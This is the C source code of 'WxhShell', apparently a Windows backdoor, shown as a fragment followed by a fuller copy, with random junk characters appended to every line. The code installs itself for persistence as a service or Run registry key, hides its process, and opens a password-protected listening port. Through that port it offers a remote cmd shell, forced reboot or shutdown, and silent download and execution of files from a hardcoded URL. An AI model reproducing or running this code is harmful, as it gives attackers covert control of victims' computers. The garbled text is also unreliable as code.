    break; Is $I;`  
    } ^T#bla893  
  // 关机 #ONad0T;  
  case 'd': { .m]"lH*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %&RF;qa2xu  
    if(Boot(SHUTDOWN)) <B?@,S>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }j/($,  
    else { #MyR:V*a  
    closesocket(wsh); oWu2}#~z_  
    ExitThread(0); T5g}z5~"  
    } x9s 7:F  
    break; =skw@c ^  
    } ur,!-t(~t  
  // 获取shell wMB. p2  
  case 's': { ?9E shw2  
    CmdShell(wsh); <GbF4\ue  
    closesocket(wsh); S~9K'\vO  
    ExitThread(0); 3:Mq4 0]x  
    break; w@&4dau  
  } GxL;@%B  
  // 退出 R;wq  
  case 'x': { *oC],4y~D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xV_,R'l  
    CloseIt(wsh); f.%mp$~T  
    break; .>Gnb2  
    } LX [_6  
  // 离开 \{HbL,s  
  case 'q': { rff=ud>Jf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7<<-\7`  
    closesocket(wsh); 5,I|beM  
    WSACleanup(); [\ M$a|K  
    exit(1); s[ ze8:  
    break; )AxgKBW  
        } F%t_9S,)O  
  } ADTx _tE  
  } 7hs1S|  
J|9kWjOf+i  
  // 提示信息 Uq:WW1=kh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G% |$3  
} M7O5uW`  
  } _(K)(&  
Aj854 L(!  
  return; JumZ>\'p(  
} tai=2,'  
TN xl?5:  
// shell模块句柄 ~6HpI0i  
int CmdShell(SOCKET sock) :2'y=t#  
{ )U?Tmh  
STARTUPINFO si; %V,2,NCd  
ZeroMemory(&si,sizeof(si)); Nl[]8G};  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6XJr7Ay8u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yqaLqZ$  
PROCESS_INFORMATION ProcessInfo; lEcZ/  
char cmdline[]="cmd"; 3@qy}Nm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S'Hb5C2u  
  return 0; Gb=pQ (n4  
} KT3W>/#E  
gRnn}LL^  
// 自身启动模式 *>lh2ssl L  
int StartFromService(void) \~sc6ho  
{ |[/<[@\''  
typedef struct DChqcdx~~  
{ {XHAQ9'  
  DWORD ExitStatus; wLF;nzv  
  DWORD PebBaseAddress; 3pxZk%  
  DWORD AffinityMask; qc(R /[  
  DWORD BasePriority; C 2f=9n/  
  ULONG UniqueProcessId; qO;.{f  
  ULONG InheritedFromUniqueProcessId; aC\O'KcH  
}   PROCESS_BASIC_INFORMATION; y /$Q5P+o  
f<14-R=  
PROCNTQSIP NtQueryInformationProcess; g*]hmkYe9  
{|KFgQ'\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V`c"q.8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e\0vphS6  
DzfgPY_Py  
  HANDLE             hProcess; YXJreM5  
  PROCESS_BASIC_INFORMATION pbi; 6x'F0{U  
<Km ^>9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~4 ~c+^PF  
  if(NULL == hInst ) return 0; TY."?` [FK  
7L%JCH#F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \k DQ[4mGq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y:Wq;xEiDo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~[_u@8l!mN  
{7k Jj(Ue  
  if (!NtQueryInformationProcess) return 0; fH-fEMyW  
\# p@ef  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9nM_LV  
  if(!hProcess) return 0; /|<Pn!}J  
,Wv@D"4?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |/qwR~  
 ?z hw0  
  CloseHandle(hProcess); `fnU p-  
{\1:2UKkr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PBeBI:  
if(hProcess==NULL) return 0; Su]@~^w  
N)I9NM[  
HMODULE hMod; 6'{/Ote  
char procName[255]; D*%?0  
unsigned long cbNeeded; Q9yIQ{>H[  
6`PQP;   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `D%U5Jb  
3`JLb]6  
  CloseHandle(hProcess); m4 k:uk7N  
0N|l1Sn  
if(strstr(procName,"services")) return 1; // 以服务启动 LD=eMk: ~  
5NR@<FE  
  return 0; // 注册表启动 H[S}&l\D4  
} 4. =jKj9j  
~'9\y"N1  
// 主模块  uc<JF=  
int StartWxhshell(LPSTR lpCmdLine) kxanzsSr9  
{ Y>/T+ub  
  SOCKET wsl; (-no`j  
BOOL val=TRUE; bu?4$O  
  int port=0; L">\c5ca  
  struct sockaddr_in door; rD\)ndPv  
fT2F$U  
  if(wscfg.ws_autoins) Install(); \,AE5hnO  
YE*%Y["  
port=atoi(lpCmdLine); r|_@S[hZg  
AMw#_8Y  
if(port<=0) port=wscfg.ws_port; d-sT+4o}  
Q$yMU [l)  
  WSADATA data; 5%_aN_1?ef  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 22T\ -g{  
K8=jkU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sx0/Dm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hCOCX_  
  door.sin_family = AF_INET; }@y(-7t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oH,{'S@q  
  door.sin_port = htons(port); gTS} 'w{  
@*9c2\"k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6MD9DqD  
closesocket(wsl); 4St-Q]Y _  
return 1; &-$27  
} 4,P(w+  
7D KTd^^M  
  if(listen(wsl,2) == INVALID_SOCKET) { 83adnm  
closesocket(wsl); /fSsh;F  
return 1; 8\X-]Gh\^  
} Q}: $F{  
  Wxhshell(wsl); {>3J96  
  WSACleanup(); :cxA  
+n%d,Pz  
return 0; @DNwzdP  
Y#5v5  
} IAHQT < ]  
Hl#?#A5  
// 以NT服务方式启动 T,oZaJ<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *mJ\Tzc)  
{ dq{+-XaEk  
DWORD   status = 0; 7>E>`Nc6  
  DWORD   specificError = 0xfffffff; GGs7]mhA  
Z[9t?ePL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i'QR-B&Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rJT YCe1*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `-!kqJ  
  serviceStatus.dwWin32ExitCode     = 0; GBl[s,g[|  
  serviceStatus.dwServiceSpecificExitCode = 0; :jf/$]p  
  serviceStatus.dwCheckPoint       = 0; *E wDwS$$  
  serviceStatus.dwWaitHint       = 0; .k-t5d  
Xw#"?B(M]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6lPuYEmT  
  if (hServiceStatusHandle==0) return; Pav W@  
vdcPpj^d5  
status = GetLastError(); B k*Rz4Oa  
  if (status!=NO_ERROR) VaW^;d#  
{ %Z3B9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sy/Z}H  
    serviceStatus.dwCheckPoint       = 0; *3KSOcQ  
    serviceStatus.dwWaitHint       = 0; =fy\W=c  
    serviceStatus.dwWin32ExitCode     = status; `6P2+wf1j~  
    serviceStatus.dwServiceSpecificExitCode = specificError; aX2N Qq>s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R.\]JvqO  
    return; p'0X>>$  
  } KO\-|#3y>  
~: fSD0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ou4 `#7FR  
  serviceStatus.dwCheckPoint       = 0; 4wN5x[vp  
  serviceStatus.dwWaitHint       = 0; AtUtE#K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m5o$Dus+?'  
} i-ww@XOQ  
(HXKa][T  
// 处理NT服务事件,比如:启动、停止 s f.z(o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lNsdbyV'  
{ Qr_0 L  
switch(fdwControl) e"%uOuIYX  
{ I)kc[/^j$  
case SERVICE_CONTROL_STOP: =A*a9c2  
  serviceStatus.dwWin32ExitCode = 0; N^M6*,F,J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1% C EUE  
  serviceStatus.dwCheckPoint   = 0; 1cc~UQ  
  serviceStatus.dwWaitHint     = 0; ?t<g|H/|6  
  { Na4O( d`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }H<Z`3_U%  
  } '1rGsfp6In  
  return; E4'z  
case SERVICE_CONTROL_PAUSE: Peo-t*-06  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L]%!YP\<T  
  break; ORM3o ucP  
case SERVICE_CONTROL_CONTINUE: ~"_!O+Pj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #].q jOj  
  break; tLU@&NY`  
case SERVICE_CONTROL_INTERROGATE: 4TI`   
  break; U)M&AYb  
}; *fs[]q'Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TNckyP75u  
} BNF*1JO  
6oq5CDoq  
// 标准应用程序主函数 gj iFpW4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F!phTu  
{ j sD]v)LB  
C=(Q0-+L|  
// 获取操作系统版本 (?g+.]Dt,  
OsIsNt=GetOsVer(); 4x<H=CJC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); teI?.M9r  
+V(^ "Z~  
  // 从命令行安装 vS"h`pL  
  if(strpbrk(lpCmdLine,"iI")) Install(); X-X`Z`o  
=1k%T{>  
  // 下载执行文件 [y}h   
if(wscfg.ws_downexe) { }]#z0'Aqsu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) en/h`h]h  
  WinExec(wscfg.ws_filenam,SW_HIDE); g\?v 5  
} Lyf5Yf([-  
t%G.i@{pkp  
if(!OsIsNt) { f_$hK9I  
// 如果时win9x,隐藏进程并且设置为注册表启动 x[$KZGK+GL  
HideProc(); a6gPJF[Jo  
StartWxhshell(lpCmdLine); m+(g.mvK>  
} # S/n3  
else _!VtM#G[  
  if(StartFromService()) ~-[!>1!%  
  // 以服务方式启动 R?;mu^B  
  StartServiceCtrlDispatcher(DispatchTable); "G~!J\  
else pKpB  
  // 普通方式启动 "O-X*>?f  
  StartWxhshell(lpCmdLine); mQ<4(qd)  
.p.( \5Fo  
return 0; )hl7)~S<  
} 10h; N[  
8V}|(b#  
C7G,M  
G3`9'-2q@c  
=========================================== .%)uCLZr$  
x/CM)!U)  
|/H?\]7  
JV@G9PT  
3!\h'5{  
|OAM;@jH  
" qjhk#\y  
Woj5 yr  
#include <stdio.h> [|YvVA  
#include <string.h> SD:D8"8  
#include <windows.h> b9#(I~}  
#include <winsock2.h> kW2DKr-[  
#include <winsvc.h> NiWAJ]Z  
#include <urlmon.h> i}zz!dJTE  
Tg"? TZO~  
#pragma comment (lib, "Ws2_32.lib") @MVul_@6  
#pragma comment (lib, "urlmon.lib") |U;O HS  
8 AFc=Wx  
#define MAX_USER   100 // 最大客户端连接数 Hi=</ Wy;  
#define BUF_SOCK   200 // sock buffer j5Da53c#^  
#define KEY_BUFF   255 // 输入 buffer 4_iA<}>|  
Su7N?X!  
#define REBOOT     0   // 重启 LEeA ,Y  
#define SHUTDOWN   1   // 关机 = c Z24I  
d5>&, {o7N  
#define DEF_PORT   5000 // 监听端口 1KrJS(.  
2C}Yvfm4  
#define REG_LEN     16   // 注册表键长度 n[gE[kw  
#define SVC_LEN     80   // NT服务名长度 v,^W& W.  
x ?24oO  
// 从dll定义API y$[:Kh,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;9$71E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  HvzXAd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  jH>`:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Fpc8D,  
Bht!+  
// wxhshell配置信息 Cd2A&RB  
struct WSCFG { -+{<a!Nb  
  int ws_port;         // 监听端口 9wbj}tN\z  
  char ws_passstr[REG_LEN]; // 口令 TQ5*z,CkS  
  int ws_autoins;       // 安装标记, 1=yes 0=no M`) /^S9  
  char ws_regname[REG_LEN]; // 注册表键名 a]nK!;>$  
  char ws_svcname[REG_LEN]; // 服务名 ?/|KM8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '8w>=9Xl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AX;!-|bW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )9i$ 1"a(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MUn(ZnQy|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |ya.c\}q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ohna1a^  
qsWy <yL+  
}; 75^AO>gt   
5D eo}(3  
// default Wxhshell configuration ez<V  
struct WSCFG wscfg={DEF_PORT, 2"6bz^>}  
    "xuhuanlingzhe", ]Bj2;<@y  
    1, LS]0p#  
    "Wxhshell", E.N  
    "Wxhshell", $Da?)Hz'F  
            "WxhShell Service", y #zO1Nig`  
    "Wrsky Windows CmdShell Service", Z5|BwM  
    "Please Input Your Password: ", );;UA6CD  
  1, T:Nc^QP|tm  
  "http://www.wrsky.com/wxhshell.exe", z3I |jy1  
  "Wxhshell.exe" /V GI@"^v  
    }; nO+R >8,Q  
Jb*E6-9G  
// 消息定义模块 v =d16  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CorV!H4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xz`0nU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nvQTJ4,,  
char *msg_ws_ext="\n\rExit."; U0Uy C  
char *msg_ws_end="\n\rQuit."; V]NCFG  
char *msg_ws_boot="\n\rReboot..."; 2Gh&h(  
char *msg_ws_poff="\n\rShutdown..."; lg +>.^7k  
char *msg_ws_down="\n\rSave to "; R*/s#*gmL  
F3[,6%4v  
char *msg_ws_err="\n\rErr!"; Q[{RN ab  
char *msg_ws_ok="\n\rOK!"; 5]xSK'6W  
6n^@Ps  
char ExeFile[MAX_PATH]; RdBIbm  
int nUser = 0; u4j"U6"]M  
HANDLE handles[MAX_USER]; Y>6N2&Q  
int OsIsNt; )2a)$qx;  
]I_*+^?tI  
SERVICE_STATUS       serviceStatus; aW-6$=W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wdi`Z E  
.cm2L,1h  
// 函数声明 "VDMO^  
int Install(void); Al=ByX@  
int Uninstall(void); B"8jEYT5  
int DownloadFile(char *sURL, SOCKET wsh); t)1`^W}  
int Boot(int flag); 1yVhO2`7]  
void HideProc(void); MU%7'J :_  
int GetOsVer(void); v7 n@CWnN  
int Wxhshell(SOCKET wsl); F1A40h7R$Y  
void TalkWithClient(void *cs); 1ktxG1"1  
int CmdShell(SOCKET sock); $<yhEvv  
int StartFromService(void); .5uqc.i"f  
int StartWxhshell(LPSTR lpCmdLine); =*1NVi $n  
H@1}_d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `Qjs {H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /3&MUB*z&y  
0` .5gxm  
// 数据结构和表定义 L 0oVXmlr  
SERVICE_TABLE_ENTRY DispatchTable[] = |Ve,Y  
{ L7hRFf-o  
{wscfg.ws_svcname, NTServiceMain}, (zh[1[a  
{NULL, NULL} tva=DS  
}; NBHpM}1xtU  
C~R ?iZ.&U  
// 自我安装 `nKN|6o#x  
int Install(void) ^=5x1<a9$  
{  +IO>%  
  char svExeFile[MAX_PATH]; H8B$# .  
  HKEY key; AgZ?Ry  
  strcpy(svExeFile,ExeFile); GC:q6}  
@$~IPg[J  
// 如果是win9x系统,修改注册表设为自启动 em'ADRxG+  
if(!OsIsNt) { -]+pwZ4g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "F%JZO51  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [q U v|l1  
  RegCloseKey(key); vxHFNGI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U (#JC(E-#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iGkysU<wcp  
  RegCloseKey(key); le]~Cy0  
  return 0; x x4GP2  
    } uKXNzz  
  } nwh@F1|  
} ^sB0$|DU  
else { &a;?o~%*]i  
/-,\$@J5)  
// 如果是NT以上系统,安装为系统服务 M(zZ8#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z XGi> E  
if (schSCManager!=0) xP!QV~$>  
{ r *]pL<  
  SC_HANDLE schService = CreateService ~`C _B]3|  
  ( O`Gq7=X  
  schSCManager, xhOoZ-  
  wscfg.ws_svcname, tM^4K r~o,  
  wscfg.ws_svcdisp, "L:4 7!8  
  SERVICE_ALL_ACCESS, &iVdqr1,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2 U]d 1  
  SERVICE_AUTO_START, P6R_W  
  SERVICE_ERROR_NORMAL, RFy MRE!?  
  svExeFile, y;uR@{  
  NULL, z V\+za,  
  NULL, t2s/zxt  
  NULL, 10i$b<O  
  NULL, o$buoGSPc  
  NULL  +l/v`=C  
  ); {BT/P!  
  if (schService!=0) :Ys~Lt54  
  { S.)Jp -&K  
  CloseServiceHandle(schService); }&t>j[  
  CloseServiceHandle(schSCManager); avL_>7q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r]UF<*$  
  strcat(svExeFile,wscfg.ws_svcname); qQi\/~Y[:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u }gavG l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Ud(HMTe  
  RegCloseKey(key); > :IWRc2  
  return 0; NOuG#P  
    }  D**GC  
  }  7P7OTN  
  CloseServiceHandle(schSCManager); EP 4]#]5  
} `om+p?j  
} {PcJuRTHB  
U~N7\Pa4  
return 1; <"J]u@|  
} P}Kgh7)3  
k(l2`I4V  
// 自我卸载 O,%,dtD[a  
int Uninstall(void) 8~]D!c8;a  
{ odsFgh  
  HKEY key; AQg|lKv  
akxNT_   
if(!OsIsNt) { Y8\P"q b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /,I cs  
  RegDeleteValue(key,wscfg.ws_regname); YR9fw  
  RegCloseKey(key); A913*O: \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { K]5[bMT  
  RegDeleteValue(key,wscfg.ws_regname); 6t6Z&0$h~  
  RegCloseKey(key); |4Q*4s  
  return 0; 9)ALJd,M  
  } ds(?:zx#  
} ^taN?5  
} _XV%}Xb'  
else { GWnIy6TH l  
zKO7`.*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LdV&G/G-#D  
if (schSCManager!=0) S{rltT-  
{ rP3HR 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &0Yg:{k$  
  if (schService!=0) UJ)pae  
  { 2gPqB*H  
  if(DeleteService(schService)!=0) { DH-M|~.sf^  
  CloseServiceHandle(schService); '7-Yo Q  
  CloseServiceHandle(schSCManager); %w*)7@,+-  
  return 0; fkBL`[v)4  
  } ?)xIn)#l s  
  CloseServiceHandle(schService); h_vT A  
  } w +t@G`d  
  CloseServiceHandle(schSCManager); hfaU-IPcFX  
} `}}:9d  
} :"\,iH  
\^c4v\s<o#  
return 1; [@vz0!@s5  
} N Qk aW)  
GiV %Hcx  
// 从指定url下载文件 zTF{ g+  
int DownloadFile(char *sURL, SOCKET wsh) xzOa9w/  
{ =|S%Rzsk  
  HRESULT hr; 3/kT'r  
char seps[]= "/"; IOcQI:4.`  
char *token; 8Xot ly  
char *file; QF#w $%7  
char myURL[MAX_PATH]; 3@> F-N  
char myFILE[MAX_PATH]; BBB@M  
vk& gR  
strcpy(myURL,sURL); 4wl1hp>,  
  token=strtok(myURL,seps); /\I6j;$z  
  while(token!=NULL) ;]>kp^C#  
  { E-bswUVaEE  
    file=token; z)qYW6o%  
  token=strtok(NULL,seps); tS'lJu  
  } / (&E  
_FY&XL=  
GetCurrentDirectory(MAX_PATH,myFILE); Fb5U@X/vE  
strcat(myFILE, "\\"); jT{T#_  
strcat(myFILE, file); sgX!4wG&Z  
  send(wsh,myFILE,strlen(myFILE),0); 2bp@m;g$  
send(wsh,"...",3,0); I0Pw~Jj{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lkn|>U[  
  if(hr==S_OK) 0bg"Q4  
return 0; 94u{k1d x  
else 4Gc M  
return 1; #z*,CU#S9d  
H_DCdUgC'  
} 1 em,/> "  
za>UE,?h  
// 系统电源模块 t]yxLl\  
int Boot(int flag) OXEk{#Uf[3  
{ m&UP@hUV-  
  HANDLE hToken; zM9#1^X  
  TOKEN_PRIVILEGES tkp; =)[m[@,c  
=q4}(  
  if(OsIsNt) { rFRcK>X\L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8\n3 i"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _pvB$&  
    tkp.PrivilegeCount = 1; Z'z)Oo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BG>Y[u\N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "yn~axk7  
if(flag==REBOOT) { ;H_/o+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dyo v}y  
  return 0; ) r2Y@+.FN  
} ^X=Q{nB  
else { M";qo6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p4' .1.@  
  return 0; {VgE0 7r  
} fE#(M+(<  
  } ')X (P>  
  else { DXFu9RE\{  
if(flag==REBOOT) { 51#*8u+L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ V^gFes  
  return 0; p@m0 Oi,=  
} n ~t{]if"  
else { qpjY &3SI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Ms[$$b$  
  return 0; *LT~:Gs#  
} g9_zkGc7  
} ~wvt:E,f C  
d+9V% T  
return 1; .Ro/ioq  
} LD$5KaOW  
Z*,e<zNQ  
// win9x进程隐藏模块 ,T/Gv;wa2  
void HideProc(void) D -}>28  
{ ~f/|bcep  
`c`VIq?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ma YU%h0  
  if ( hKernel != NULL ) `zd,^.i5~  
  { vCzZjGBY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )`u17 {  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KII{GDR]  
    FreeLibrary(hKernel); a:kAo0@":j  
  } D31X {dJ  
%( )d$.F  
return; %go2tv:|W  
} )H8_.]|  
MqyjTY::Xg  
// 获取操作系统版本 %pC<T*f  
int GetOsVer(void)  *}?[tR5  
{ j6 wFks  
  OSVERSIONINFO winfo; X\}l" ]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i'>6Qo  
  GetVersionEx(&winfo); ^_7|b[Bt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oV|O`n  
  return 1; -t`kb*O3`  
  else X+hHEkJ  
  return 0; Z%t_1t  
} 6FUW^dt  
w:&" "'E  
// 客户端句柄模块 2M %j-yG"  
int Wxhshell(SOCKET wsl) W5*ldXXk  
{ 5{ c;I<0  
  SOCKET wsh; %xt9k9=vZ  
  struct sockaddr_in client; LUOjaX  
  DWORD myID; JGs: RD'  
--yF%tRMP  
  while(nUser<MAX_USER) h\s/rZg=r  
{ 2g.lb&3W  
  int nSize=sizeof(client); _&<n'fK[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5mH [|_  
  if(wsh==INVALID_SOCKET) return 1; _^NX`<&  
hFtV\xF K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .<x6U*)\O  
if(handles[nUser]==0) +8Xjk\Hi  
  closesocket(wsh); I!x.bp~V!  
else KX) n+{   
  nUser++; 2d)Dhxzxk  
  } L%'J]HL-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 Rx@_   
l|CM/(99-  
  return 0; _NDQ2O  
} z0"t]4s  
<Ap_#  
// 关闭 socket X! d-"[  
void CloseIt(SOCKET wsh) Gh;\"Qx  
{ mdi!Q1pS  
closesocket(wsh); {u'szO}k  
nUser--; o`T.Zaik,  
ExitThread(0); X+X:nL.t  
} yD\q4G  
*?)MJ@  
// 客户端请求句柄 +! 1_Mt6  
void TalkWithClient(void *cs) >m%_`68  
{ y>o:5':;'  
UXm_-/&b9  
  SOCKET wsh=(SOCKET)cs; ,d"T2Hy  
  char pwd[SVC_LEN]; &<&tdShI  
  char cmd[KEY_BUFF]; jqUVERbc  
char chr[1]; i~@gI5[k+  
int i,j; \CB^9-V3  
!np_B0`  
  while (nUser < MAX_USER) { |t,sK aL  
$BqiC!~  
if(wscfg.ws_passstr) { (tK_(gO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sh/ ,"b2!P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |G j.E  
  //ZeroMemory(pwd,KEY_BUFF); _@5Xmr  
      i=0; _3/u#'m0  
  while(i<SVC_LEN) { L&\W+k  
ym;]3<I?I[  
  // 设置超时 SN6 QX!3  
  fd_set FdRead; Ly= .  
  struct timeval TimeOut; A95f!a  
  FD_ZERO(&FdRead); Xdvd\H=  
  FD_SET(wsh,&FdRead); ;jP sS^X  
  TimeOut.tv_sec=8;  2&6D`{"P  
  TimeOut.tv_usec=0; TTf j 5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NdK`-RT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (,At5 T  
w,%"+ tY_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,NO[Piok  
  pwd=chr[0]; ^ u$gO3D  
  if(chr[0]==0xd || chr[0]==0xa) { Bm~^d7;Cw  
  pwd=0; mnt&!X4<  
  break; <ZC .9  
  } Kz'GAm\  
  i++; oj8r*  
    } X5WA-s(?0  
[P2>KQ\  
  // 如果是非法用户,关闭 socket SKG U)Rn;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Np\NStx2  
} snbXAx1L  
SSe;&Jk2d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +y| B"}x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +17!v_4^  
.Xlo-gHk  
while(1) { |nMjv]#  
01(U)F\  
  ZeroMemory(cmd,KEY_BUFF); [* xdILj  
,xwiJfG; ]  
      // 自动支持客户端 telnet标准   _Sjj|j  
  j=0; vfSPgUB)  
  while(j<KEY_BUFF) { ,='Ihi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z~{08M7  
  cmd[j]=chr[0]; _L,~WYRo  
  if(chr[0]==0xa || chr[0]==0xd) { MN: {,#d0  
  cmd[j]=0; #}Qe{4L  
  break; /_{-~0Z=@B  
  } T;u;r@R/  
  j++; P@y)K!{Nk  
    } l;M,=ctB(  
Zma;An6  
  // 下载文件 Z~:)hwF  
  if(strstr(cmd,"http://")) { xI,3(A.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @!;A^<{ka  
  if(DownloadFile(cmd,wsh)) PqspoH 0OI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rtPo)#t  
  else )xp3 ElH  
